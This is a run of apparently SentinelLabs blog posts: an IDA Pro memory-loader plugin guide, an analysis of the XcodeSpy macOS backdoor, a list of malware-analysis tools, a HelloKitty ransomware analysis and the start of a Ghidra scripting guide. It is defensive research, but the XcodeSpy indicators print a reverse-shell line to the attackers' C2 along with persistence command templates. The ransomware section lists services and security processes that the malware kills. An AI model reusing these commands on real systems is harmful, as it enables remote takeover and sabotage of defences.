Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.

Loading Files From a Memory Buffer

This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.

MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.

You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.

After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.

Loading Files From a Zip/Encrypted Zip

MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.

MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.

Loading Files From a URL

UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.

You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.

Installation Guide (tested on IDA 7.5+)

  1. Download zip with binaries from here.
  2. Extract the zip files to a folder.
  3. Place the loaders in the loaders directory of IDA.
      1. MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
      2. MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)

  • Place the memory loader DLL in the IDA directory folder.
    1. MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    2. UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    3. UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    4. MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)

How to Use MemZipLoader & UrlLoader

You can load binaries with MemZipLoader and UrlLoader as follows:

MemZipLoader:

  1. Open IDA and choose zip file.
  2. IDA should automatically suggest the loader:
  3. Once selected, a list of the files from the zip will be displayed:
  4. IDA will then use the loader code and load it as if the binary was a local file on the system.

UrlLoader:

  1. Open any file on your computer in a directory you have write privileges to.
  2. The UrlLoader will suggest a file to open.
  3. After you chose UrlLoader, you will be asked enter a URL:
  4. The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.

Setting Up Visual Studio Development

In order to set up the plugin for Visual Studio development, follow these steps.

    1. Open a DLL project in Visual Studio
    2. An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
    3. accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.

load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.

  1. The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
    1. X64 | X64 – 64 bit IDA with 64 BIT addresses
    2. X32 | X64 – 64 bit IDA with 32 BIT addresses

 

  • Target file name (Configuration Properties -> Target Name)
    1. X64 | X64 – $(ProjectName)64
    2. X32 | X64 – $(ProjectName)
  • Include header files: (Similar in: (X64 | x64) and( X64 | X32)
    1. Configuration Properties -> C/C++ -> Additional Include Directories – should point to the location of your IDA PRO SDK.
    2. Set Runtime Library -> Multi-threaded Debug (/MTd)
  • Include lib files:
    1. X64 | X64
      1. idasdk75\lib\x64_win_vc_64
  • X64 | X32
    1. idasdk75\lib\x64_win_vc_32
    2. idasdk75\lib\x64_win_vc_64
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Preprocessor Definitions):
    1. X64 | X64 add: __EA64__
    2. X32 | X64 add: __X64__, __NT__
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Undefined Preprocessor Definitions):
    1. X32 | X64: __EA64__
  • Conclusion

    When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.

    Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.

    Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.

    The SentinelOne IDA Pro Memory Loader Plugin is available on Github.

 

The post Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin appeared first on SentinelLabs.

New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor

18 March 2021 at 12:55

Executive Summary

  • Threat actors are abusing the Run Script feature in Apple’s Xcode IDE to infect unsuspecting Apple Developers via shared Xcode Projects.
  • XcodeSpy is a malicious Xcode project that installs a custom variant of the EggShell backdoor on the developer’s macOS computer along with a persistence mechanism.
  • The backdoor has functionality for recording the victim’s microphone, camera and keyboard, as well as the ability to upload and download files.
  • The XcodeSpy infection vector could be used by other threat actors, and all Apple Developers using Xcode are advised to exercise caution when adopting shared Xcode projects.
  • SentinelOne Singularity protects against XcodeSpy. We also provide a simple method developers can use to scan their Xcode repositories for XcodeSpy in this post.

Overview

This year has brought two disturbing new trends into prominence: the targeting of developers and the use of supply chain attacks to infect broad swaths of customers. Targeting software developers is the first step in a successful supply chain attack. One way to do so is to abuse the very development tools necessary to carry out this work. In Jan 2021, Google TAG announced their discovery of a North Korean campaign targeting security researchers and exploit developers. One of the methods of infection entailed the sharing of a Visual Studio project designed to load a malicious DLL. In this post, we discuss a similar attack targeting Apple developers through malicious Xcode projects.

We recently became aware of a trojanized Xcode project in the wild targeting iOS developers thanks to a tip from an anonymous researcher. The malicious project is a doctored version of a legitimate, open-source project available on GitHub. The project offers iOS developers several advanced features for animating the iOS Tab Bar based on user interaction.

The XcodeSpy version, however, has been subtly changed to execute an obfuscated Run Script when the developer’s build target is launched. The script contacts the attackers’ C2 and drops a custom variant of the EggShell backdoor on the development machine. The malware installs a user LaunchAgent for persistence and is able to record information from the victim’s microphone, camera, and keyboard.

We have discovered two variants of the payload, custom backdoors which contain a number of encrypted C2 URLs and encrypted strings for various file paths. One encrypted string in particular is shared between the doctored Xcode project and the custom backdoors, linking them together as part of the same ‘XcodeSpy’ campaign.

At this time, we are aware of one ITW case in a U.S. organization. Indications from our analysis suggest the campaign was in operation at least between July and October 2020 and may also target developers in Asia.

We have thus far been unable to discover other samples of trojanized Xcode projects and cannot gauge the extent of this activity. However, the timeline from known samples and other indicators mentioned below suggest that other XcodeSpy projects may exist. By sharing details of this campaign, we hope to raise awareness of this attack vector and highlight the fact that developers are high-value targets for attackers.

The simple technique for hiding and launching a malicious script used by XcodeSpy could be deployed in any shared Xcode project. Consequently, all Apple developers are cautioned to check for the presence of malicious Run Scripts whenever adopting third-party Xcode projects. We provide a simple method developers can use to scan their existing local Xcode repositories in the Detection and Mitigation section below.

Abusing Xcode’s Run Script Functionality

XcodeSpy takes advantage of a built-in feature of Apple’s IDE which allows developers to run a custom shell script on launching an instance of their target application. While the technique is easy to identify if looked for, new or inexperienced developers who are not aware of the Run Script feature are particularly at risk since there is no indication in the console or debugger to indicate execution of the malicious script.

The sample we analyzed used a copy of a legitimate open-source project that can be found on Github called TabBarInteraction. For the avoidance of any doubt, the code in the Github project is not infected with XcodeSpy, nor is the developer, potato04, implicated in any way with the malware operation.

In the doctored version of TabBarInteraction, the obfuscated malscript can be found in the Build Phases tab. By default, the Run Script panel is not expanded, further aiding the malware’s bid to avoid detection by casual inspection.

Clicking the disclosure button reveals the existence of the obfuscated script.

The obfuscation is rather simple and the output can be inspected safely by substituting eval with echo and running the script in a separate shell.

The script creates a hidden file called .tag in the /tmp directory, which contains a single command: mdbcmd. This in turn is piped via a reverse shell to the attackers C2.

As we went to press today, the sample was not detected by any of the static engines on VirusTotal.

Linking XcodeSpy to a Custom EggShell Backdoor

By the time we discovered the malicious Xcode project, the C2 at cralev[.]me was already offline, so it was not possible to ascertain directly the result of the mdbcmd command. Fortunately, however, there are two samples of the EggShell backdoor on VirusTotal that contain the telltale XcodeSpy string /private/tmp/.tag.

6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b
cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134

These samples were both uploaded to VirusTotal via the Web interface from Japan, the first on August 5th and the second on October 13th.

The later sample was also found in the wild in late 2020 on a victim’s Mac in the United States. For reasons of confidentiality, we are unable to provide further details about the ITW incident. However, the victim reported that they are repeatedly targeted by North Korean APT actors and the infection came to light as part of their regular threat hunting activities.

The samples uploaded from Japan to VirusTotal came from users who were not signed in to a VirusTotal account, so it is impossible to say whether they came from the same source or two different sources. Nonetheless, they are both linked to each other and the Xcode project via containing the string P4CCeYZxhHU/hH2APz6EcXc=, which turns out to be an encrypted version of the /private/tmp/.tag string found in the malicious Xcode project.

The EggShell backdoors use a simple string encryption technique. Decryption involves passing an encrypted string to the [StringUtil decode:] method, which encodes the encrypted string in base64, then iterates over each byte, adding 0xf0 to it. This produces a printable ASCII character code which is then concatenated to produce the full string.

We can implement our own decoder in Objective-C based on the pseudo code above to decrypt the strings in the Mach-O binaries.

Decoding further strings in both variants reveals a number of hardcoded URLs used for uploading data from the victim’s machine.

https://www.suppro.co/category/search.php?ts=%@
https://www.liveupdate.cc/preview/update.php?ts=%@
https://www.appmarket.co/category/search.php?ts=%@
https://www.recentnews.cc/latest/details.php?ts=%@
https://www.truckrental.cc/order/search.php?ts=%@
https://www.everestnote.com/sheet/list.php?ts=%@
https://www.alinbox.co/product/product_detail.php?ts=%@

Where data exists, all these domains from the backdoor binaries were first seen or first “whois”-queried on the 10th or 11th of September.

The domain cralev[.]me from the malicious Xcode project was also first seen on the 10th of September.

The doctored version of the TabBarInteraction Xcode project was itself first seen on VirusTotal a week earlier, on 4th September.

The juxtaposition of these dates leads us to speculate that the attackers themselves may have uploaded the XcodeSpy project file to VirusTotal to test detection before activating their C2s. Aside from the suppro[.]co and cralev[.]me domains, the others appear to be inactive or unregistered, perhaps awaiting future use. Interestingly, the country code available from VT about the XcodeSpy uploader’s location is ‘ZZ’ – unknown.

Meanwhile, the EggShell backdoor variants were each first seen on VirusTotal some two months apart (5th August and 13th October). If the backdoors were uploaded by victims rather than the attackers (an assumption that is by no means secure), that would indicate that the first custom EggShell binary may have been a payload for an earlier XcodeSpy sample. However, we cannot assign great confidence to these speculations based on the available data. What we do know is that the first EggShell payload was uploaded a full month before the known dropper and over two months before the second payload was seen on VirusTotal on 13th October.

EggShell Execution Behavior

On execution, the customized EggShell binaries drop a LaunchAgent either at ~/Library/LaunchAgents/com.apple.usagestatistics.plist or ~/Library/LaunchAgents/com.apple.appstore.checkupdate.plist. This plist checks to see if the original executable is running; if not, it creates a copy of the executable from a ‘master’ version at ~/Library/Application Support/com.apple.AppStore/.update then executes it.

The EggShell also drops a zero byte file at /private/tmp/wt0217.lck, and a data file at ~/Library/Application Scripts/com.apple.Preview.stors. A number of other filepaths are also encrypted in the binaries (see the IoCs at the end of this post for a full list). Almost all of these paths have been customized by the attacker. However, one encrypted string decrypts to /tmp/.avatmp, a default path found in the public EggShell repo for storing AV captures.

The source code in the public EggShell repo contains various functions for persistence, screen capture and AV recording, among other things.

Analysis of the compiled XcodeSpy variants found in the wild and on VirusTotal implement these as well as their own custom data encoding and keylogging methods.

Detection and Mitigation

A full list of known IoCs is provided at the end of this post. As all C2s, path names and encrypted strings are highly customizable and easy to change, these may only be useful as indicators of past compromise for these particular samples. Therefore, a behavioral detection solution is required to fully detect the presence of XcodeSpy payloads.

Threat hunters and developers concerned as to whether they have inadvertently downloaded a project containing XcodeSpy can run a manual search with the following on the command line:

find . -name "project.pbxproj" -print0 | xargs -0 awk '/shellScript/ && /eval/{print "\033[37m" $0 "\033[31m" FILENAME}'

This searches for Run Scripts in the Build Phases part of an Xcode project (within the project.pbxproj file) containing both the strings shellScript and eval. If any are found, it prints out a copy of the script for inspection, along with the filename in which it was found.

The following example searches for XcodeSpy in the Documents folder and all its subfolders.

Users should switch to the appropriate parent folder in which they save Xcode projects before running the command.

Individual projects can of course be inspected for malicious Run Scripts via the Build Phases tab in the Xcode project navigator.

Conclusion

This is not the first time threat actors have used Xcode as a vector to infect Apple platform developers. In 2015, XcodeGhost offered iOS developers in China a version of Xcode that downloaded faster from local mirrors than from Apple’s servers. What the recipients didn’t know was that the version of Xcode they received had been altered to inject malicious code into any apps compiled with it. Apps compiled with XcodeGhost could be used by the attackers to read and write to the device clipboard, open specific URLs (e.g., WhatsApp, Facebook) and exfiltrate data to C2s. In effect, XcodeGhost was a supply chain attack, infecting downstream victims by means of third-party software.

In contrast, XcodeSpy takes the form of a trojanized Xcode project, making it lighter and easier to distribute than a full version of the Xcode IDE. While XcodeSpy appears to be directly targeted at the developers themselves rather than developers’ products or clients, it’s a short step from backdooring a developer’s working environment to delivering malware to users of that developer’s software.

It is entirely possible that XcodeSpy may have been targeted at a particular developer or group of developers, but there are other potential scenarios with such high-value victims. Attackers could simply be trawling for interesting targets and gathering data for future campaigns, or they could be attempting to gather AppleID credentials for use in other campaigns that use malware with valid Apple Developer code signatures. These suggestions do not exhaust the possibilities, nor are they mutually exclusive.

We hope that this publication will raise awareness of this threat, and we would be very interested to hear from other researchers or individuals that find evidence of XcodeSpy infections in the wild.

Indicators of Compromise

URLs & Resolving IPs
www[.]cralev.me/
hxxps://www[.]liveupdate.cc/preview/update.php
hxxps://www[.]appmarket.co/category/search.php
hxxps://www[.]recentnews.cc/latest/details.php
hxxps://www[.]truckrental.cc/order/search.php
hxxps://www[.]everestnote.com/sheet/list.php
hxxps://www[.]alinbox.co/product/product_detail.php
hxxps://www[.]suppro.co/category/search.php
hxxps://www[.]elemark.co/product/list.php

193.34.167.111
193.34.167.205
193.34.166.127

EggShell bins: */.update
SHA 256: 6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b
SHA 1: 556a2174398890e3d628aec0163a42a7b7fb8ffd
SHA 256: cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134
SHA 1: 0ae9d61185f793c6d53e560e91265583675abeb6
SHA 256: 6a1f7edf41ac2d52e3d0442b825bbdaf404199ed8b45b33ecd52a58acc12087a
SHA 1: 4d1006610a4fe903b6b9fdb41cff7fc88b3a580c

Xcode proj: TabBarInteraction.zip
SHA 256: 1cfa154d0145c1fe059ffe61e7b295c16bbc0e0b0e707e7ad0b5f76c7d6b66d2
SHA 1: d65334d6c829955947f0ceb2258581c59cfd7dab

Encoded Filepaths
~/Library/Application Scripts/com.apple.TextEdit/.stors
~/Library/Application Scripts/com.apple.Preview/.stors
~/Library/Application Scripts/com.apple.usernoted/.wfy1607
~/Library/Application Scripts/com.apple.TextEdit/.scriptdb
~/Library/Application Support/com.apple.AppStore/.update
~/Library/Application Support/com.apple.usernoted/.wfy1607
~/Library/LaunchAgents/com.apple.usagestatistics.plist
~/Library/LaunchAgents/com.apple.appstore.checkupdate.plist
/private/tmp/.osacache
/private/tmp/.osacache2
/private/tmp/.update
/tmp/.avatmp
/private/tmp/.wt0217.lck
/private/tmp/.wt0173.lck
/private/tmp/.tag

Behavioral Indicators
killall %@;sleep 3;cp "%@" "%@";chmod +x "%@";"%@" %@ 1>/dev/null 2>/dev/null
if (! pgrep -x %@ >/dev/null);then cp "%@" "%@";chmod +x "%@";"%@";fi;
sleep 1;launchctl unload "%@" > /dev/null;launchctl load "%@" > /dev/null
launchctl unload "%@" 2>/dev/null; rm "%@"
echo mdbcmd > /private/tmp/.tag;bash&> /dev/tcp/www.cralev.me/443 0>&1 &

MITRE ATT&CK TTPs
Application Layer Protocol: Web Protocols | XcodeSpy can use HTTPS in C2 Communications T1071 001.
Create or Modify System Process: Launch Agent | XcodeSpy can establish persistence via a LaunchAgent T1543 001.
File and Directory Discovery | XcodeSpy can scan directories on a compromised host T1083.
Hide Artifacts: Hidden Files and Directories | XcodeSpy hides several files with a dot prefix to make them hidden from view in the Finder application T1564 001.
Ingress Tool Transfer | XcodeSpy can download its payload from a C2 server T1105.
Masquerading | XcodeSpy drops several files at paths using the “com.apple” reverse identifier and in subfolders named after legitimate macOS system software (TextEdit, Preview) T1036.
Input Capture: Keylogging | XcodeSpy can log user keystrokes to intercept credentials as the user types them T1056 001.
Input Capture: GUI Input Capture | XcodeSpy can prompt users for credentials with a seemingly legitimate prompt via AppleScript T1056 002.
Process Discovery | XcodeSpy can collect data on running and parent processes T1057.

The post New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor appeared first on SentinelLabs.

Top 15 Essential Malware Analysis Tools

11 March 2021 at 16:52

Malware analysis plays an essential role in avoiding and understanding cyber attacks. When incident response teams are brought into an an incident involving malware, the team will typically gather and analyze one or more samples in order to better understand the attacker’s capabilities and to help guide their investigation. As organizations deal with an increasing number of attacks and breaches, analysts are always looking for ways to triage and understand samples faster and more efficiently. In this post, we dive into the top 15 Essential Malware Analysis Tools used by researchers today. All 15 tools listed are free or have a community version that is free, and these offer a great way to see if a tool suits your needs. For professional use, the paid versions where available are highly recommended.

Disassemblers

1. IDA Pro/Ghidra

IDA Pro has been the go to SRE (Software Reverse Engineering) Suite for many years until Ghidra’s release in 2019. Since then Ghidra’s popularity has grown exponentially due to it being a free open-source tool that was developed and is still maintained by the NSA. If you do not have an IDA Pro license and do not have thousands of dollars to spend on IDA Pro, then Ghidra is for you. Since I use both of them I will also list my top 5 favorite plugins for each.

IDA Pro:

Ghidra:

Debuggers

2. Windbg

Windows Debugger is a multipurpose debugger for the Microsoft Windows OS. Malware reverse engineers have used this in the past, but now there are other alternatives on the entry-level malware analyst market. Windbg has a steep learning curve, so check out some of the numerous video tutorials and websites to help learn the essential commands when debugging.

Some of the benefits of using Windbg over other debuggers besides debugging user-mode applications are device drivers, and the operating system itself in kernel mode.

3. x32/x64 Debugger

x64dbg is an open-source binary debugger for Windows aimed at malware analysis and reverse engineering of executables. There are many features available, and it comes with a comprehensive plugin system. You can find many plugins for this debugger on the plugins wiki page.

x64dbg has become one of the most popular debugging software for malware due to its ease of use and its GUI interface, making it easy to understand things.

Hex Editors

4. HxD

HxD is a free hex editor, disk editor, and memory editor for Windows. Other primary options include tagging sections of memory, searching for unique types of data, modifying the direction of these searches, and exporting any information in various outputs. There is no limit in terms of the number of times an action can be undone.

5. Hiew

Hacker’s View (Hiew) is a program that allows you to visualize files. Hiew’s main function is to display hex files for people who want to change a few bytes in the code, but it is also  capable of much more. Hiew additionally contains tools for detailed dumps of OMF/COFF object files and libraries and NE/LE/LX/PE/ELF executables. It is also useful for splitting and joining dual executables. This tool is a go-to tool for many malware analysts. HIEW cycles through string types ASCll, Odd and Unicode, and can find strings many other tools don’t. If you want to see how good it is, the creator of Hiew, Yuri Slobodyanyuk, has created an in-depth tutorial that is great.

6. Cerbero Suite

The Cerbero Suite is branded as “The Hacker’s Multitool”. I initially came across this tool when I was looking for an advanced hex editor years ago. This tool suite has added so many features in the last two years that I use this just as much as any tool listed in this blog. The Cerbero Suite has a hex editor with advanced features and lets you define layout elements such as structures and code. It can analyze many different file formats.

Over the last year, the Cerbero Suite has added a Carbon disassembler engine that integrates with the Sleigh decompiler that Ghidra uses. You can also perform Windows memory analysis on physical memory images, hibernation files, and crash dumps.

Monitors

7. Process Monitor

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity. Process Monitor includes robust monitoring and filtering capabilities, boot time logging of all operations, data captured for operation input and out params, and provides reliable capture of process details. The process tree tool shows the relationships of all processes referenced in a trace, and much more.

8. Autoruns

This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor, shows you what programs are configured to run during system bootup or login, and when you start various built-in Windows applications like Internet Explorer, Explorer, and media players. Autoruns shows you the currently configured auto-start applications as well as the full list of Registry and file system locations available for auto-start configuration.

Autostart locations displayed by Autoruns include logon entries, Explorer add-ons, Internet Explorer add-ons, including Browser Helper Objects (BHOs), Appinit DLLs, image hijacks, boot execute images, Winlogon notification DLLs, Windows Services and Winsock Layered Service Providers, media codecs, and more. Switch tabs to view autostarts from different categories.

PE Analysis

9. PE-bear

PE-bear is a freeware reversing tool for PE files. It is a viewer/editor for PE32 and PE64 files.You can view multiple files in parallel and it recognizes known packers by signature. PE Bear is very useful for visualizing a PE section layout, and it allows you to add new elements among many other features.

10. PE Studio 

The goal of PE Studio is to spot artifacts of executable files in order to ease and accelerate Malware Initial Assessment. Some of PE Studio’s features are detecting file signatures, hard-coded URLs and IP addresses, metadata, imports, exports, strings, resources, manifest, rich-header, Mitre ATT&CK matrix and retrieval of VirusTotal scores.

11. pefile

The pefile tool is a multi-platform Python module to parse and work with Portable Executable (PE) files. Most of the information contained in the PE file headers is accessible, as well as all the sections’ details and data. The structures defined in the Windows header files will be accessible as attributes in the PE instance. When scripting in python and you wanted to analyze a large data set of binary, Pefile is the a great tool to use.

Other Useful Tools

12. Yara

YARA is primarily used in malware research and detection. It provides a rule-based approach to create descriptions of malware families based on textual or binary patterns. A description is essentially a YARA rule name, plus a sets of strings to search for and a boolean expression that controls the logic of the search. Yara rules plays an important role in Threat Intelligence and are very fast when scanning large datasets.

13. Dependency Walker

Dependency Walker is a free program for Microsoft Windows used to list the imported and exported functions of a portable executable file. It also displays a recursive tree of all the dependencies of the executable file. Dependency Walker was included in Microsoft Visual Studio until Visual Studio 2005 and Windows XP SP2 support tools.

14. dnSpy

dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don’t have any source code available. The main features of dnSpy are its debug and edit features. This is a must have tool when reversing malware written in C#

  • Debug .NET and Unity assemblies
  • Edit .NET and Unity assemblies

15. Burp Suite

Burp Suite Professional is one of the most popular penetration testing tools available today, and is also helpful when you want to use burp for SSL interception. This will help when malware encrypts the traffic over SSL. Burp Suite is great to help you capture all of this traffic and more.

Conclusion

These 15 tools are all an essential part of my malware analysts toolkit, and I encourage you to become familiar with each one, as they will greatly enhance your ability to quickly and effectively triage and analyze new samples.

The post Top 15 Essential Malware Analysis Tools appeared first on SentinelLabs.

HelloKitty Ransomware Lacks Stealth, But Still Strikes Home

8 March 2021 at 17:22

Game studio CD Projekt Red recently disclosed that it became a victim of a targeted, highly-impactful ransomware. In the days following the disclosure, it was revealed that the ransomware family most likely behind the attack was “HelloKitty”.

HelloKitty is a ransomware family that emerged in late 2020. While it lacks the sophistication of some of the more well-known families such as Ryuk, REvil, and Conti, it has nevertheless struck some notable targets, including CEMIG0. In this post, we analyse a recent HelloKitty sample and outline the basic behaviors and traits associated with this family of ransomware.

Execution and Behavior

The “HelloKitty” name is based on internal mutex names, which are apparent upon execution.

While still somewhat unclear, current intelligence indicates that the primary delivery method of HelloKitty binaries is via phish email or via secondary infection in conjunction with other malware.

Once launched, HelloKitty will attempt to disable and terminate a number of processes and services so as to reduce interference with the encryption process. This includes processes and services associated with IIS, MSSQL, Quickbooks, Sharepoint, and more. These actions are carried out via taskkill.exe and net.exe.

In the analyzed sample, this is all done in a very non-stealthy manner. All spawned CMD windows are in the foreground and fully visible. This ‘lack of discreteness’ is atypical for modern ransomware, or any successful malware, for that matter.

A full list of processes from the analyzed sample are listed below:

dsa*
Ntrtsca
ds_moni
Notifie
TmListe
iVPAgen
CNTAoSM
IBM*
bes10*
black*
robo*
copy*
store.e
sql*
vee*
wrsa*
wrsa.ex
postg*
sage*
MSSQLServerADHelper100
MSSQL$ISARS
MSSQL$MSFW
SQLAgent$ISARS
SQLAgent$MSFW
SQLBrowser
ReportServer$ISARS
SQLWriter
WinDefend
mr2kserv
MSExchangeADTopology
MSExchangeFBA
MSExchangeIS
MSExchangeSA
ShadowProtectSvc
SPAdminV4
SPTimerV4
SPTraceV4
SPUserCodeV4
SPWriterV4
SPSearch4
IISADMIN
firebirdguardiandefaultinstance
ibmiasrw
QBCFMonitorService
QBVSS
QBPOSDBServiceV12
"IBM Domino Server(CProgramFilesIBMDominodata)"
"IBM Domino Diagnostics(CProgramFilesIBMDomino)"
"Simply Accounting Database Connection Manager"
QuickBooksDB1
QuickBooksDB2
QuickBooksDB3
QuickBooksDB4
QuickBooksDB5
QuickBooksDB6
QuickBooksDB7
QuickBooksDB8
QuickBooksDB9
QuickBooksDB10
QuickBooksDB11
QuickBooksDB12
QuickBooksDB13
QuickBooksDB14
QuickBooksDB15
QuickBooksDB16
QuickBooksDB17
QuickBooksDB18
QuickBooksDB19
QuickBooksDB20
QuickBooksDB21
QuickBooksDB22
QuickBooksDB23
QuickBooksDB24
QuickBooksDB25

Additional processes and services that are terminated are identified via PID. For example:

taskkill.exe /f /PID "8512"
taskkill.exe /f /PID "8656"

If HelloKitty is unable to stop any specific processes or services, it will leverage the Windows Restart Manager API to further assist in termination.

HelloKitty will also utilize WMI to gather system details and help identify running processes and any potentially problematic processes. This is done both by name and by PID. A number of examples are shown below:

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  caption = "store.exe")

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  caption = "wrsa.exe")

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 3036)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 4460)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 3052)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 4476)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 1560)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 8124)

start iwbemservices::exe

Encryption and Ransom Note

Encryption is initiated and completed very quickly once applicable services and processes have been terminated. Specific encryption recipes and routines can vary across variants of HelloKitty. Generally speaking, they tend to use a combination of AES-256 & RSA-2048 or even NTRU+AES-128.

Once encrypted, affected files receive the .crypted extension.

Ransom notes are typically customized to directly reference the victim and victim’s environment. Victims are instructed to visit a TOR-based payment and support portal. The following example has been sanitized:

It is also important to note that as of this writing, the onion address associated with HelloKitty ransom notes is not active.

6x7dp6h3w6q3ugjv4yv5gycj3femb24kysgry5b44hhgfwc5ml5qrdad.onion

Conclusion

HelloKitty may be easier to spot than other modern ransomware families, but upon execution it is no less dangerous. There are currently no known ‘weaknesses’ in the encryption routines, and there are no thirdy-party decrypters available for the HelloKitty ransomware. Therefore, the only true defense is prevention. While this family does not appear to be actively leaking victim data at the moment, that could change at any point, in addition to them choosing to adopt some of the more recent extortion methods that go along with ransomware (DDoS).

Actors behind the more recent campaign(s) are reportedly attempting to auction the CD Projekt data off in various ‘underground’ forums. At present this sale of this data does appear to be legitimate. Time will tell if additional victim data is dealt with in the same way.

To protect yourself against HelloKitty, make sure you are armed with a modern Endpoint Security platform, which is configured correctly and up to date. The SentinelOne Singularity Platform is fully capable of preventing and detecting all malicious behaviors associated with the HelloKitty ransomware family.

IOCs

SHA1
fadd8d7c13a18c251ded1f645ffea18a37f1c2de

SHA256
501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe

MITRE ATT&CK
Data from Local System – T1005
Modify Registry – T1112
Query Registry – T1012
System Information Discovery – T1082
Data Encrypted for Impact – T1486
File Deletion – T1070.004
Command and Scripting Interpreter: Windows Command Shell – T1059.003
Windows Management Instrumentation – T1047

The post HelloKitty Ransomware Lacks Stealth, But Still Strikes Home appeared first on SentinelLabs.

A Guide to Ghidra Scripting Development for Malware Researchers

3 March 2021 at 17:33

Ghidra is one of the most popular software reverse engineering suites on the market, but there is always a need to add or customize a feature for different situations. Fortunately, Ghidra’s scripting capabilities are powerful and designed to enable users to solve unique problems when analyzing programs. SentinelOne’s VTgrep, for example, is a custom Ghidra scripting tool that has made a huge impact with reverse engineering malware. In this post, we will go over how to install GhidraDev, Ghidra’s API, Building Scripts and my Top 5 Ghidra Scripts.

Using Eclipse IDE Integration with Ghidra

When scripting with Ghidra, the logical choice for editing or creating scripts is the Eclipse IDE. Although Ghidra comes preinstalled with a basic scripting editor which is fine if you want to modify an existing script quickly, the integration that Ghidra provides with the Eclipse IDE is ideal for development and more complex editing tasks due to Ghidra’s plugin into the Eclipse environment. In this section, we will cover how to install Eclipse and get it ready for scripting.

Installation Steps:

  • Install Eclipse

  • Installing PyDev
    • To install the PyDev Extensions using the Eclipse Update Manager, select Help > Install New Software and enter the following link in the Work with section: http://www.pydev.org/updates.
    • To confirm that PyDev has installed, select Window->Perspective->Open Perspective->Other, select PyDev and click Open.
  • Installing GhidraDev: GhidraDev provides support for developing scripts and modules in Eclipse
    • Browse to Help -> Install New Software
    • Click the Add button and then click Archive
    • Browse the Ghidra directory <path>/Ghidra/Extensions/Eclipse/GhidraDev/, select GhidraDev-2.x.x.zip.
    • Click OK -> Check Ghidra category
    • Click Next -> Next -> Finish
